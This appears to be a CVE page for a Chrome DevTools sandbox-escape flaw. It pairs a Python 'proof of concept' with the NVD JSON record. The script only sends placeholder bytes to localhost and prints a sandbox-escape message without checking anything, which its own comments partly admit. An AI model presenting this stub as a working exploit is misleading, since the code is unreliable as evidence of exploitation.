CVE-2026-8018

import socket import struct # Conceptual PoC for CVE-2026-8018 # This script simulates sending malicious network traffic to trigger the DevTools policy bypass. # Note: Actual exploitation requires a vulnerable Chrome version and specific packet crafting. def send_malicious_traffic(target_ip, target_port): try: # Create a raw socket or TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Craft payload designed to trigger DevTools insufficient policy enforcement # This payload is a placeholder for the actual exploit bytes payload = b"\x00\x00\x00" + b"A" * 100 # Example buffer structure print(f"[+] Sending malicious payload to {target_ip}:{target_port}...") s.send(payload) # Receive response (if any) response = s.recv(4096) print("[+] Payload sent. Check target for sandbox escape.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "127.0.0.1" port = 8080 send_malicious_traffic(target, port)

{"cve": {"id": "CVE-2026-8018", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:52.770", "lastModified": "2026-05-08T20:16:33.307", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to potentially perform a sandbox escape via malicious network traffic. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/498292657", "source": "[email protected]", "tags": ["Permissions Required"]}]}}